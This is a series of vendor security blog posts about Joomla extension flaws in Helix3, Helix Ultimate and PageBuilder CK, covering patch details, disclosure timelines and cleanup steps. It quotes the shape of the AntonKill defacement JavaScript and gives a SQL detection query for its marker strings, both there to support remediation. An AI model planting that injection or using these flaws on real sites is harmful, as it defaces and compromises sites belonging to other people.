Look in the template style, not the filesystem. In the Joomla admin, go to Extensions, then Templates, then Styles, open your Helix3 style, and check the Custom Code tab. The injected JavaScript sits in one of the Custom JavaScript, Custom CSS, or Before </head> fields.

The code you are looking for rewrites the whole page into the screen shown above. The markup differs between victims, but the injection follows the same shape:

document.addEventListener("DOMContentLoaded", function () {
  document.title = "hacked by trenggalek6etar";
  document.body.innerHTML =
    '<div style="position:fixed;inset:0;background:#0a0a0a;z-index:2147483647"> ... HACKED BY ... </div>';
});

The exact bytes vary between victims, but the shape is consistent. If you would rather search the database directly than click through the admin, query the template styles table for the tell-tale strings:

SELECT id, template, title
FROM `#__template_styles`
WHERE `params` LIKE '%innerHTML%'
   OR `params` LIKE '%AntonKill%'
   OR `params` LIKE '%trenggalek6etar%';

Replace #__ with your site's actual table prefix. Other strings worth grepping for in the same column are document.title, position:fixed;inset:0, and the very high z-index:2147483647 that keeps the overlay on top of everything.

Warning

A defacement is often the polite version of a compromise. The same unauthenticated endpoint that wrote to your database can delete files and overwrite template settings, so once you have cleaned the visible skull, treat the site as breached: check for rogue administrator accounts, unexpected files, and modified scheduled tasks before you call it done.

Cleaning the Helix3 Defacement by Hand

If you are not a mySites.guru subscriber and want to clean a single site manually, it is two separate jobs, and doing only the first one is the most common mistake.

Step one: close the door. Update both Helix3 plugins to 3.1.2 or newer. That is the "System - Helix3 Framework" plugin and the "Helix3 - Ajax" plugin. They are separate plugins, and the vulnerable code is in the Ajax one, so updating the framework but leaving the old Ajax plugin in place keeps you exposed. Anything from Helix3 3.1.0 back to 1.0 is vulnerable.

Step two: remove what is already there. Updating the plugin does not delete the code already sitting in your database. As the remediation guides for this wave state, "an update does not remove existing malware". Go into the template style's Custom Code fields and strip out the foreign code from all four fields, or restore the params column from a database backup taken before the attack.

Step three: put your template back together. The attack overwrites your template parameters, so once the injection is gone you may find your logo, custom CSS, and other Helix3 settings have been clobbered. Reconfigure them from your own records or a backup.

If a plain-English recovery walkthrough would help, our guide on how to fix a hacked Joomla site covers the wider cleanup, and if the site is business-critical and you would rather hand it over, our team fixes hacked sites directly.

How to Find Every Helix3 Site You Manage With mySites.guru

The hardest question after any framework flaw is not how to patch one site, it is which of your sites are even affected. Helix3 ships underneath a large number of JoomShaper templates, so it is entirely possible to be running it on dozens of client sites without ever having installed it by name.

mySites.guru keeps a live inventory of every extension, template, and framework on every Joomla and WordPress site in your account. You search for Helix3 once and get back every affected site, the version each one is running, and whether the 3.1.2 update is available, without logging into a single admin panel. Filter for anything below 3.1.2 and you have your patch list.

Find every Helix3 install across your sites

A live inventory of every Joomla and WordPress extension, template, and framework across all your connected sites. Search Helix3 once, see every version, and push the update to the sites that still need it. Start with a free security audit on one site to see the inventory for yourself.

Because this is a botnet, not a targeted attack, it re-hits anything left on a vulnerable version. A portfolio you patch halfway keeps getting re-defaced on the sites you missed, which is exactly the failure mode a single dashboard is built to prevent. The same approach carried us through the JCE profiles hack in June: find every vulnerable install first, then fix in bulk. If managing Joomla sites one admin login at a time is the real problem underneath all this, that is what managing multiple Joomla sites from one screen is for.

A Pattern, Not a One-Off

The AntonKill wave is not happening in isolation. Through mid-2026 the Joomla ecosystem has taken a run of unauthenticated flaws in widely-installed extensions, all sharing one root cause: an endpoint that runs before it checks who is calling it. The Italian CERT Cyberoo, writing about AntonKill on 6 July, placed it against that broader context of Joomla extension exploitation, naming JCE, SP Page Builder, and iCagenda as the June examples where unauthenticated attackers could upload code and run it.

Helix3 is the same class of bug in a different extension. Joomla's com_ajax dispatcher will happily call a plugin's handler for an anonymous visitor, because authorisation is the plugin's job, not Joomla's. When a plugin forgets to check, you get exactly this. We wrote about that structural blind spot in AJAX endpoints as a CMS security blind spot, and every one of these incidents is another instance of it.

Note

CERT Cyberoo documents the mid-2026 Joomla exploitation wave but does not attribute the AntonKill defacements specifically to Helix3, and cautions against assuming a cause without server-level forensics. The Helix3 link for this wave comes from the cleanup firms handling the affected sites, the JoomShaper support forum, and our own investigation.

A Tool for Each New Attack in This Wave

The Helix3 Custom Code Hack tool is not a one-off. As each of these flaws has surfaced through June and July, we have shipped a matching check into the "Hacked?" section of every site's snapshot, so a threat that was theoretical last week becomes a one-click check this week. On any connected Joomla site you now see the whole set side by side.

Each check maps to a real incident from this wave: JCE rogue profiles and backdoors, rogue super administrator accounts, the SP Page Builder rogue icon-font assets, and now the Helix3 custom-code injection. You run them on one site from its snapshot, and across your whole portfolio in one pass. Do not stop at the first clean result: a compromise hides in more than one place, so a site is only clear once every check comes back OK.

mySites.guru Is About to Reveal Another Zero-Day Soon

And the wave is not over. We are already sitting on the next one: a fresh Joomla zero-day that allows full, unrestricted, unauthenticated file uploads. In our proof of concept, an uploaded .php file ran with no login and no token, written to a predictable web-root path and executed as text/html. That is clean remote code execution, the most serious class of web vulnerability there is.

We will have the full write-up, and a mySites.guru check to find every affected site, out shortly. The pattern by then will be familiar: another unauthenticated endpoint, another extension in wide use, and another short window between disclosure and a botnet. The sites that come through it fine will be the ones already watching their whole estate from one place.

The practical lesson is the one that repeats every time: a patch is only as good as your ability to apply it everywhere at once. Helix3 3.1.1 existed on 29 June. The sites getting defaced from 5 July onward are the ones that had no way to know they were running a vulnerable version until the skull appeared.

Helix Ultimate 2.2.7 Closes an Unauthenticated Menu Write

phil@mysites.guru (Phil Taylor) — Tue, 07 Jul 2026 00:00:00 GMT

JoomShaper shipped Helix Ultimate 2.2.7 on 7 July 2026. It is a security release, and a substantial one: it puts missing login and permission checks back across the framework's AJAX handler, closes an unauthenticated write into your site's menus that leads to cross-site scripting, confines file operations so they cannot escape the folder they belong in, validates redirects, and tightens media uploads. None of that is obvious from the version number, and if you triage Joomla updates by how urgent they look, this one deserves to jump the queue.

To their credit, JoomShaper's in-app changelog for 2.2.7 does more than the usual two-word "Security Update". It lists the fixes and even tags them with the relevant weakness classes, CWE-862 for the missing authorisation and CWE-79 for the cross-site scripting:

That is genuinely better than most template vendors manage. What the changelog still does not tell you is how the flaws chained together, which one to worry about most, or how far behind your installed version really is. This post fills that in, so you can judge the severity for yourself and update with your eyes open.

TL;DR

TL;DR: Helix Ultimate 2.2.7 patches several security holes in the framework's com_ajax handler. Before the release, several AJAX actions ran with no CSRF token and no permission check, so an anonymous visitor could write to your menu settings, and because that output was not escaped, that is a route to stored cross-site scripting in your admin session. It also fixes an in-folder arbitrary file delete via a path-validation flaw, an open redirect through helixreturn, an unprotected template settings export, and loose media upload validation. Every version below 2.2.7 is affected; the last public release before it was 2.2.4 (22 January 2026). This is not a zero-day and there is no CVE, but the patched code is public. Update every Helix Ultimate site to 2.2.7 now. If you manage more than a handful of Joomla sites, mySites.guru can list every Helix Ultimate install in your account in seconds and push the update.

How to find every Helix Ultimate site you manage with mySites.guru

The first question after any framework security release is the awkward one: which of my sites actually run this? Helix Ultimate is one of the most widely installed template frameworks in the Joomla world, bundled under the bonnet of a large number of JoomShaper templates and plenty of third-party ones, so plenty of people are running it without ever having chosen it by name. A vendor's update notice only helps if you can connect it to the right sites.

mySites.guru keeps a live inventory of every extension, template and framework installed on every Joomla and WordPress site in your account. You search for Helix Ultimate once, and you get back every affected site, the version each one is running, and whether the 2.2.7 update is available. No logging into 40 admin panels one at a time. No guessing.

View all your Helix Ultimate installations

Open your Extension Inventory

Search for Helix Ultimate across all your connected Joomla sites and filter for anything below 2.2.7 to find the installations that still need updating.

From that same list you can push the update to every affected site, so a vague sense of "I should probably check my sites" becomes a five-minute job across your whole account. If you are not a customer yet, run a free security audit on one site and see the extension inventory for yourself, or read how we manage multiple Joomla sites from one screen.

That is the practical answer. The rest of this post is the detail the changelog left out.

Helix Ultimate is not Helix3

JoomShaper ships two template frameworks with confusingly similar names, and they patched security holes in both within about a week of each other. Getting them mixed up will send you updating the wrong thing.

Helix Ultimate is the newer framework, and the subject of this post. It installs as the helixultimate system plugin plus the shaper_helixultimate template, and sometimes a small template installer plugin alongside them. Version 2.2.7 is the one you want.

Helix3 is the older, separate framework. It had its own set of unauthenticated file-write and file-delete flaws, fixed in Helix3 3.1.1 on 29 June 2026. That is a different codebase, a different version number, and a different update. If you run sites on both, each needs its own patch.

The vulnerable code in this case is Helix Ultimate's AJAX handler, reachable through Joomla's com_ajax dispatcher.

What the bugs actually did

Joomla has a built-in dispatcher called com_ajax that lets a plugin expose an endpoint at a predictable URL. It is a normal, useful feature. The catch, and it is the same catch behind a long line of Joomla extension bugs, is that com_ajax will happily call a plugin's handler for a completely anonymous visitor. Deciding whether that visitor is allowed to do what they are asking is the plugin's job, not Joomla's.

In Helix Ultimate before 2.2.7, several of those actions did their work before checking a session token or a user permission. Here is what that exposed, roughly in order of how much it should worry you.

An unauthenticated write to your menus, leading to cross-site scripting

This is the one to care about. The framework's main AJAX handler took a task value, split it into a class and method name, and called the matching code. Some of those methods wrote to the database with no token and no permission check in front of them, including the code that saves mega menu settings onto a menu item. So an anonymous request could store attacker-controlled content in a menu item's parameters.

On its own that is bad enough. It gets worse because the menu and mega menu output was not escaped before being rendered, which is the cross-site scripting the changelog refers to. Stored content plus unescaped output is the textbook recipe for a stored XSS: a script the attacker plants once, that then runs in the browser of everyone who views the affected page. And a Joomla menu renders on more or less every page, including the administrator. Script that fires in a logged-in Super User's browser is the classic road to a freshly created admin account and a backdoor. That is why an "unauthenticated write to a menu setting" is not the minor-sounding issue it first appears.

An in-folder arbitrary file delete

The media manager's delete action was gated by a CSRF token but had no permission check and no proper path validation. The path you asked it to delete was joined onto the site root and passed more or less straight to the delete. Joomla's input filtering blocks the obvious ../../ climb out of the web root, but a single traversal step inside a valid path still slipped through, so a request could delete files anywhere inside your Joomla folder: configuration.php, an .htaccess, extension files, and so on. Because the only gate was a token rather than a real permission check, this was reachable by any logged-in user who could obtain a token, or by tricking a logged-in administrator into loading a malicious page (a cross-site request forgery). 2.2.7 adds the missing permission checks and confines the path properly.

An open redirect

The framework read a helixreturn value from the URL, base64-decoded it, and redirected the browser to it with no validation. That is a classic open redirect: an attacker crafts a link that looks like it points at your trusted domain but bounces the visitor off to a phishing page. 2.2.7 validates the decoded target and only redirects to internal URLs.

An unprotected template export and loose uploads

Two smaller items round it out. The template settings export ran without checking that the requester had permission to manage templates, which leaks configuration to anyone who asks. And the media upload validation was loose enough that the release tightened it to image types only, explicitly blocking SVG and ICO in the media manager (both can carry active content). The changelog also notes it stopped media uploads from accidentally triggering a template style import, and stripped internal server paths out of upload error messages so they stop leaking your directory structure.

How 2.2.7 closes it

The shape of the fix is reassuring, because it is consistent rather than a series of one-off patches. The old code trusted the request. The new code verifies it, the same way, across every action. Here is the release mapped to what each piece addresses.

Hardening in 2.2.7	What it fixes
A shared guard that runs a CSRF token check and a permission check in front of every AJAX action	Stops anonymous and unauthorised requests reaching the menu write, media, export and other handlers (the CWE-862 missing-authorisation class)
Menu and mega menu settings restricted to a known set of valid attributes before they are saved	Stops arbitrary attacker-controlled data being written into menu parameters
Output escaping added to media embeds, galleries, Mega Menu, Layout Builder and font options	Fixes the stored and reflected cross-site scripting (CWE-79)
Redirect targets validated and restricted to internal URLs only	Kills the open redirect through `helixreturn`
Corrected path validation in media, layout and blog file operations, confining them to their intended folders	Kills the in-folder file delete and related traversal
Permission checks added to blog image removal and template settings export	Stops unauthorised deletion and configuration disclosure
Upload validation restricted to image types, with SVG and ICO blocked in the media manager	Removes upload vectors that can carry active content
Frontend article saving restricted to valid Helix Ultimate attributes; direct POST access replaced with Joomla's input filtering; internal server paths stripped from upload error responses	Closes mass-assignment, unfiltered input and information-disclosure gaps

Is this a zero-day?

No, and it is worth being precise, because the word gets thrown around. A zero-day is a flaw that is being exploited before a fix exists. That is not what happened here.

JoomShaper's own team wrote and shipped the fix. The security changes went in as a single pull request that was merged and tagged as the 2.2.7 release within about two minutes of each other on 7 July 2026. The code and the patch became public at the same instant, there is no CVE, no security advisory was published, and nobody has reported exploitation in the wild. We confirmed the details by reading the public code difference between the old and new versions, not by finding a compromised site.

What this is, is an n-day risk: the moment a security fix ships, the patched code becomes a map. Anyone can line 2.2.7 up against the old version and work out exactly what each change is defending against, which is precisely how a stored XSS or an unauthenticated write gets turned into a working exploit. That is the clock every unpatched site is now racing. The sibling framework shows what running out that clock looks like: Helix3's own unauthenticated flaw, patched a week earlier, is now being mass-exploited in the Hacked by AntonKill defacement wave, defacing Joomla sites that never applied the fix.

The recurring pattern behind this

We keep writing about the same root cause because it keeps happening: an AJAX endpoint that Joomla will run for anyone, where the plugin checks a token, or nothing at all, but never checks who is actually calling it. A CSRF token confirms the request came from your own page; it does not confirm the person is allowed to make it. Authorisation is a separate step, and it is the one that keeps getting left out.

The same shape turned up in Novarain, in the Astroid framework, in SP Page Builder, in PageBuilder CK, and in Helix3 the week before this one. Helix Ultimate 2.2.7 is the same lesson again, and the fix, a single shared guard that enforces both a token and a permission on every action, is the right one. If you develop Joomla extensions, that shared-guard pattern is the thing worth copying.

What you should do right now

Find every Helix Ultimate install you run. If you use mySites.guru, search your extension inventory for Helix Ultimate and you have the list in seconds. If you do not, you will need to check each site's installed extensions by hand.
Update every one of them to Helix Ultimate 2.2.7. The update is live on JoomShaper's update server and shows in the normal Joomla updater. The framework installs as more than one piece, so update everything Helix Ultimate the updater offers, not just one of them. Unpublishing the plugin is not enough on its own, because the files stay on the server and the AJAX endpoint can still be reached directly.
Do not confuse Helix Ultimate with Helix3. They are separate products with separate updates. This one is Helix Ultimate 2.2.7.
Check exposed sites for tampering. Because the flaws allowed menu writes and file deletes, a site left unpatched could already have been touched. Check your menus and mega menu settings for entries you did not add, confirm protective files like .htaccess are still where they should be, and look at your Joomla Users list for Super User accounts you do not recognise. Our guides on finding hacked files and backdoors and fixing a hacked Joomla site walk through this.

If you would rather not do any of that by hand across a portfolio of client sites, that is exactly the job mySites.guru exists for. One inventory, every site, every framework version, one click to update. Run a free audit and see what is actually installed across your sites.

Helix3 Shipped a Critical Fix as "Security Update"

phil@mysites.guru (Phil Taylor) — Mon, 29 Jun 2026 00:00:00 GMT

JoomShaper shipped Helix3 3.1.1 on 29 June 2026. The update fixes a serious security flaw: an attacker with no login at all could write files into your template, delete arbitrary files on your server, and overwrite your template settings, all through a single unauthenticated request. We found these issues while investigating a hacked mySites.guru customer site, and reported them privately under responsible disclosure.

JoomShaper did tell people an update was available. They emailed users and they wrote a changelog entry. Credit where it is due, plenty of vulnerabilities get patched in total silence. The trouble is what those two announcements actually said.

Here is the Helix3 3.1.1 changelog on JoomShaper's own site, in full:

Two words. "Security Update." The email went a little further:

"A focused security update we recommend all users apply as soon as possible." That is better than the changelog, and the "Action Required" subject line is the right instinct. But put both side by side and the same gap remains: neither tells you what was fixed, how severe it is, or whether it is being exploited. If you manage Joomla sites for clients, you still cannot answer the only question that matters: do I patch tonight, or does it wait for the monthly maintenance window? That is the problem this post is really about.

TL;DR

TL;DR: Helix3 3.1.1 patches an unauthenticated file write, an unauthenticated arbitrary file delete, and an unauthenticated template-parameter overwrite in the Helix3 ajax plugin. The handler is reachable through Joomla's com_ajax dispatcher and ran several actions before any token or permission check. It affects current Joomla (4, 5 and 6), not just legacy installs. JoomShaper announced the update by email and changelog, but neither says what was fixed or how serious it is. Update every Helix3 site to 3.1.1 now. If you manage more than a handful of Joomla sites, mySites.guru can list every Helix3 install in your account in seconds and push the update.

How to find every Helix3 site you manage with mySites.guru

The first question after any framework vulnerability is the hard one: which of my sites actually run this? A vendor email helps only if it reaches the right inbox and you connect it to the right sites. You still have to know where Helix3 is installed.

mySites.guru keeps a live inventory of every extension, template and framework installed on every Joomla and WordPress site in your account. You search for Helix3 once, and you get back every affected site, the version each one is running, and whether the 3.1.1 update is available. No logging into 40 admin panels one at a time. No guessing.

View all your Helix3 installations

Open Helix3 Extension Search

Lists every installed version across all your connected Joomla sites. Filter for anything below 3.1.1 to find the installations that still need updating.

From that same list you can push the update to every affected site, so a vague vendor notice becomes a five-minute job across your whole account instead of an evening of manual work. If you are not a customer yet, run a free security audit on one site and see the extension inventory for yourself, or read how we manage multiple Joomla sites from one screen.

That is the practical answer. The rest of this post is the detail JoomShaper's changelog left out, so you can judge the severity yourself.

What Helix3 is, and what it is not

JoomShaper ships two products with confusingly similar names, and getting them mixed up will send you patching the wrong thing.

Helix3 is the original template framework. It installs as a system plugin (System - Helix3 Framework) plus a companion ajax plugin, plg_ajax_helix3. This is what 3.1.1 patches. Despite the name and its age, it is not a Joomla 3 relic: the 3.1.1 update manifest declares compatibility with Joomla 4.0 through 6.5, and the patched code carries explicit Joomla 5 and 6 branches. It runs on current Joomla.

Helix Ultimate is a separate, newer template with its own codebase and version numbers. It is not affected by this issue, though it had its own security release a week later: Helix Ultimate 2.2.7 fixed a different set of flaws in its own AJAX handler. If you run sites on both, each framework needs its own update.

The vulnerable code is the onAjaxHelix3 handler inside the Helix3 ajax plugin.

What the bug actually did

Joomla has a built-in dispatcher called com_ajax that lets plugins expose an endpoint at a predictable URL. It is a normal, useful feature. The catch is that com_ajax will happily call a plugin's handler for a completely anonymous visitor. Authorisation is the plugin's job, not Joomla's.

In Helix3 before 3.1.1, the handler took an action parameter and ran the matching code. Most of those actions did their work before checking a session token or a user permission. So an unauthenticated request could reach them. Three of them are dangerous:

save writes attacker-controlled content to a file under the active template. The filename is forced to end in .json, but the path was not sanitised, so directory traversal let the file land outside the intended layout folder.
remove deletes a file. It applied no extension constraint and no path validation at all, so path traversal turned it into an arbitrary file delete: anything the web server user could reach.
import overwrites the stored parameters of any template style in the database.

There were more unguarded actions beyond those three (load, resetLayout, updateFonts, fontVariants), all reachable without authentication.

Is the file write remote code execution?

Not automatically, and this is worth being precise about because overclaiming helps nobody. The write is constrained to a .json extension. On a hardened host that is a serious integrity problem but not a guaranteed shell.

It becomes code execution in two realistic situations. First, on server configurations that pass a file like name.php.json to the PHP handler (some misconfigured Apache setups do exactly this). Second, the arbitrary-delete primitive can be chained with other upload paths to remove the protections, like a .htaccess or an index.html, that would otherwise stop a planted file from running. The arbitrary delete and the template-parameter overwrite are damaging in their own right on every host, regardless of whether you ever reach code execution.

The rest of the release: everything else 3.1.1 fixed

The unauthenticated file write is the headline, but it is not the whole release. Our review of the Helix3 ajax plugin turned up several more issues, and 3.1.1 closes all of them. None of the extra fixes are described anywhere public either. If you are weighing how urgent this update is, the full list is the answer: this is a security release with several distinct holes closed, not a single bug fix.

Here is everything 3.1.1 changes, beyond the save, remove and import actions already covered.

Image upload accepted any file type. The old upload action took the file extension straight from the uploaded filename, with no allow-list and no content check, then saved it. So a logged-in user with the common core.create permission, an Author or Editor on many Joomla sites, could upload a .php file and run it. That is a privilege escalation to code execution from a low-trust account. The new code restricts uploads to jpg, jpeg, png, gif and webp, runs the name through File::makeSafe, and verifies the file is actually an image with getimagesize() before it is written.

The image delete action had the same traversal as remove. It took a src parameter and deleted it with no path validation, so it was a second route to arbitrary file deletion. The new code forces the path under the site's images folder and resolves it with realpath() before deleting anything.

Output was not escaped, which is cross-site scripting. The font picker output, the uploaded-image markup, and the data- attributes the framework builds were all emitted without escaping. An attacker who could influence any of those values could inject script into the admin's browser. The new code runs them through htmlspecialchars, and sanitises attribute keys.

A live Google Fonts API key was hardcoded in the source. The old updateFonts action shipped with a real API key embedded in the plugin file, readable by anyone with the code. The new version removes it and reads the key from a template parameter instead. A leaked credential is a leaked credential, regardless of how the bug was found.

The article-rating action could be spammed. Voting had no rate limit and no check that the article being rated existed or was published, so it could be hammered against arbitrary content IDs. The new code verifies the article, tracks votes per session, and rate-limits to five votes a minute.

Add it up and 3.1.1 closes an unauthenticated file write, an arbitrary file delete (twice over), a template-settings overwrite, an authenticated-upload route to code execution, a stored XSS, a leaked API key, and a ratings-abuse hole. "Security Update" covers all of that in two words.

How 3.1.1 closes it

The fix is the right shape, which is reassuring. 3.1.0 trusted the request. 3.1.1 verifies it, and it does so consistently across every action. Here is the complete set of hardening in the release and what each piece addresses.

Hardening in 3.1.1	What it fixes
Action allow-list, split into admin actions and public actions	Unknown actions get a 403; only `voting` is treated as public
`requireAuthorisedAdminRequest()` checks `core.admin` / `core.manage` and a valid CSRF token on every admin action	Stops unauthenticated guests reaching `save` / `remove` / `import` / font / upload / delete
`requireValidToken()` on the public `voting` action	CSRF protection on the one guest-facing action
`sanitizeLayoutName()` (`basename`, strict `a-z0-9_-` pattern, strips `.json`) plus `getLayoutFilePath()` with a `realpath()` containment check	Kills path traversal in the `save` / `remove` / `load` layout file operations
`getSafeMediaImagePath()` rejects null bytes and `..`, forces an `images/` prefix, and requires the resolved path to stay under the site images folder	Kills the arbitrary file delete in `remove_image`
Upload validation: `File::makeSafe`, `basename`, an extension allow-list (`jpg` / `jpeg` / `png` / `gif` / `webp`) and a `getimagesize()` content check	Stops uploading `.php` or other non-image files (the code-execution vector)
`import` now verifies the template ID exists with `client_id = 0`, validates and round-trips the JSON, and caps it at 1 MB	Stops arbitrary template-styles tampering and oversized payloads
Size caps on layout content (1 MB) and import settings (1 MB)	Denial of service and abuse
`htmlspecialchars` escaping on font output, image output and `data-` attributes, with attribute keys sanitised	Fixes stored and reflected cross-site scripting in the rendered output
Hardcoded Google Fonts API key removed; the key now comes from a template parameter	Removes a leaked credential
Voting rewritten: checks the article exists and is published, tracks votes per session, rate-limits to five votes a minute	Stops ratings spam and votes against arbitrary content IDs

The real issue: telling people to update is not telling them why

We did not go looking for this. We found it while investigating a hacked mySites.guru customer site, traced the compromise to the Helix3 ajax plugin, confirmed the flaw on a clean test install, reported it privately, and asked for the standard 90-day coordinated disclosure window. JoomShaper replied the next morning, were professional and gracious about it, and told us the fix had already shipped. They emailed users an "Action Required" notice and they wrote a changelog entry. On the process, they did more than many vendors do, and they deserve credit for a fast turnaround.

So this is not a story about a vendor who said nothing. It is a story about a vendor who said "update" without saying why, which is a more common and more subtle failure.

Look again at what a Helix3 user actually received. The changelog: "Security Update." The email: "a focused security update we recommend all users apply as soon as possible." Both true. Neither tells you:

whether this is a minor hardening tweak, or an unauthenticated remote file write
whether it is being actively exploited right now
whether you need to patch before you go to bed, or whether it can wait two weeks
which component is even affected

Put yourself in the seat of someone running 30 client sites on Helix3. "Apply as soon as possible" is what every release email says. With no severity attached, it competes for attention with every other "recommended" update in the queue, and busy people triage by deferring the ones they cannot size. So a critical, unauthenticated file-write fix gets treated like a routine point release, and every deferred site stays exploitable while the patched code sits in public for anyone to diff. That is no longer a hypothetical: since 5 July the flaw has been exploited at scale in the Hacked by AntonKill defacement wave, which mass-defaces unpatched Helix3 sites and hides its payload in the database rather than a file.

This is not unique to JoomShaper, and that is exactly why it is worth saying out loud. We have written about the same root-cause pattern of AJAX endpoints that check a token but not authorisation more than once, in Novarain, in Astroid, in SP Page Builder, in PageBuilder CK. The vulnerabilities get found and fixed. The communication keeps falling short.

A security notice does not need to be a full CVE write-up. It needs four things: what was affected, how serious it is, whether exploitation is known, and whether you should act immediately. "Security Update" and "apply as soon as possible" give you only the last one, and a weak version of it. The Joomla ecosystem runs on thousands of small extension and template developers, and most of them are doing their best, but the bar for how a fix gets communicated has to be higher than "trust us, update." We would like to start that conversation, openly, with the developer community.

That conversation now has a starting point. In August 2026 the lead of the Joomla Security Strike Team proposed a Manual page setting out twenty rules for extension developers handling a security report, and its point 17 says in plain terms that a security fix should not be hidden in vague language. This release is what that rule exists to prevent.

What you should do right now

Find every Helix3 install you run. If you use mySites.guru, search your extension inventory for Helix3 and you have the list in seconds. If you do not, you will need to check each site's installed extensions by hand.
Update every one of them to Helix3 3.1.1. The update is live on JoomShaper's update server and shows in the normal Joomla updater.
Do not confuse Helix3 with Helix Ultimate. Only Helix3 needs this particular update. Helix Ultimate is a separate product with its own 2.2.7 security update, so if you run both, patch each one.
Check exposed sites for tampering. Because the bug allowed file writes and deletes, a site left unpatched could already have been touched. Look for unexpected files under your template, missing protective files like .htaccess, and unexplained changes to your template style parameters. Our guides on finding hacked files and backdoors and fixing a hacked Joomla site walk through this.

If you would rather not do any of that by hand across a portfolio of client sites, that is precisely the job mySites.guru exists for. One inventory, every site, every framework version, one click to update. Run a free audit and see what is actually installed across your sites.

Disclosure timeline

Before disclosure - While investigating a hacked mySites.guru customer site, we trace the compromise to the Helix3 ajax plugin and confirm the flaw on a clean test install.
28 June 2026 - We privately report the unauthenticated file write, arbitrary file delete, and template-parameter overwrite in the Helix3 ajax plugin to JoomShaper, with the proof of concept withheld and a 90-day window requested.
29 June 2026 - JoomShaper replies that the issue is already addressed and a patched version (3.1.1) has been released. They note a temporary outage had delayed their usual security announcement.
29 June 2026 - JoomShaper emails users an "Action Required: Security Update Now Available for Helix 3" notice and publishes the 3.1.1 changelog. Both recommend updating; neither describes the vulnerability. We forward the exchange to the Joomla security team.

CVE Record

A CVE for this vulnerability is pending, crediting Phil Taylor of mySites.guru as the reporter. We will add the identifier here once it is assigned. In the meantime, the fixed version is the authoritative reference: if you are on Helix3 3.1.1 or later, you have the patch.

PageBuilder CK File Upload RCE - June 2026

phil@mysites.guru (Phil Taylor) — Sat, 27 Jun 2026 00:00:00 GMT

PageBuilder CK is one of the more popular free page builders for Joomla, a drag-and-drop layout tool that thousands of sites lean on for their landing pages and content. On 27 June 2026 its developer, Cedric Keiflin, shipped version 3.6.0 with a changelog that says, in full, "IMPORTANT : Fix security issue". No detail, no fanfare. That terse line is hiding a serious one.

In every version up to and including 3.5.10, PageBuilder CK has an unauthenticated file upload flaw that leads to remote code execution. An attacker with no login can upload a file to your Joomla site, choose which folder it goes in, and then run it. That is full control of the site: stealing data, defacing pages, planting backdoors, or using your server to attack other people. We confirmed it by comparing the old and new code and reproducing the whole chain on a clean test install.

The fix is PageBuilder CK 3.6.0. If any of your Joomla sites run this component, update them now, then read on for what the flaw does and how to check whether you were already hit.

Update, 27 June 2026: this is now being exploited in the wild. Within hours of the fix landing, our suspect content tool flagged a live web shell on a connected Joomla site, planted through this exact flaw. The file sat at /media/com_pagebuilderck/gfonts/bhup.php, an upload handler that runs whatever an attacker POSTs to it. The fix shipped on 27 June 2026 and the attackers were not far behind, so if you run PageBuilder CK below 3.6.0, treat this as urgent: update now, then check for compromise. Every affected site is already flagged on the new Important tab, and the suspect content tool is actively catching shells like this one (see below).

Update, 17 August 2026: 3.6.0 fixed this flaw, but it did not fix it completely, and two more security issues followed it. The 3.6.0 release added the missing permission check without correcting the upload handler behind it, so any Editor account could still upload and run a PHP file up to 3.6.2 (CVE-2026-63048, fixed in 3.6.3). A separate SQL injection in the styles handling then took two attempts to close, and is fixed in 3.6.5 (CVE-2026-74254). If you are here to remediate, the version to be on is 3.6.5, not 3.6.0. We pulled the whole sequence apart in PageBuilder CK RCE fixed, again, correctly this time.

TL;DR

Unauthenticated arbitrary file upload to remote code execution in PageBuilder CK, a free Joomla page builder. No login required
Worse than a typical upload bug: the attacker chooses the destination folder, so a planted file can land anywhere on the site, not just an images directory
Affects every version up to and including 3.5.10. Fixed in 3.6.0 for current Joomla, released 27 June 2026. The vendor also back-patched the older lines: 3.1.1 for Joomla 3 and 3.4.10 for Joomla 4, so match the patched version to the Joomla version your site runs
The only thing in the attacker's way is a CSRF token, which any visitor can read straight off the site's own pages. That is not a security barrier
Tracked as CVE-2026-56290, CVSS 10.0 (critical), published 29 June 2026 and crediting Phil Taylor of mySites.guru as the finder. The vendor changelog reads only "IMPORTANT : Fix security issue"
We confirmed it by source-diffing 3.5.10 against 3.6.0 and reproducing the upload-to-execution chain on a clean Joomla 5 install. We are not publishing a working exploit
Update to 3.6.0 on every affected site, then check for compromise. Unpublishing the component does not protect you

The fix is out, but the longer a site stays on an old version, the more time automated scanners have to find it. Bots work through lists of Joomla sites looking for exactly this kind of flaw, and your site does not need to be a target to get caught. Update to 3.6.0 before you do anything else.

How to Find Every Joomla Site Running PageBuilder CK with mySites.guru

When a flaw drops in a component that could be on dozens of your client sites, the first question is always the same: which of my sites run it, and on what version? If you manage 50 or 200 Joomla sites, logging into each admin to check the PageBuilder CK version is not realistic. The bots do not wait for you to finish the list.

View all your PageBuilder CK installations

Open PageBuilder CK Extension Search

Lists every installed version across all your connected Joomla sites. Filter for anything below 3.6.0 to find the installations that need updating.

Combined with the mass extension updater, you can push 3.6.0 across every affected site in one batch instead of a day of logging into admin panels one at a time. What would have been a frantic afternoon becomes a triage you finish over a coffee.

If you do not have a mySites.guru account yet, start a free month and connect your sites. The extension index builds automatically on the first snapshot, and you will know straight away which sites are exposed.

What the Bug Actually Did

PageBuilder CK does its work through a set of front-end endpoints, the kind of background requests a builder makes while you drag elements around and save your layout. One of those endpoints handles file uploads, for adding images to a page.

The problem is what that endpoint did not check. Before a site does anything sensitive, it should ask two separate questions: who is this (authentication), and are they allowed to do this (authorization). The upload endpoint asked neither. The only thing it checked was a Joomla anti-CSRF token, a value meant to confirm a request came from a real page on the site rather than being forged from somewhere else. A CSRF token is not a login. It does not prove who you are, and it does not prove you have permission. And because Joomla prints that token into its own public pages, any visitor can grab one in a single request.

So a guest, with no account and no session, could reach the upload code. That alone would be bad. What makes this critical is the second half: the endpoint took the destination folder straight from the request and the filename, including its extension, exactly as supplied. There was no allow-list restricting uploads to images, no block on PHP files, and no confinement to a media directory. The caller picked the folder, and the caller picked the file.

Put those together and the attack writes itself. Upload something.php into a web-served folder, then load that file in a browser, and the server runs it. That is remote code execution, the most severe class of web vulnerability there is, reachable by anyone on the internet.

A note on what we are not publishing. We confirmed this flaw by reading the code and reproducing it on our own test install, and we reported nothing that is not already implied by the public fix. We are deliberately not naming the exact endpoint or sharing a working request. The fix is out, and the responsible thing is to get people patched, not to hand a recipe to the next scanner, although with AI help they could replicate what we did in seconds.

Now Being Exploited in the Wild

When we first published this, we had reproduced the flaw ourselves but had not seen it used against a real site. That changed within hours. Our suspect content tool flagged a live web shell on a connected Joomla site, dropped in through this exact upload flaw.

The file was here:

/media/com_pagebuilderck/gfonts/bhup.php
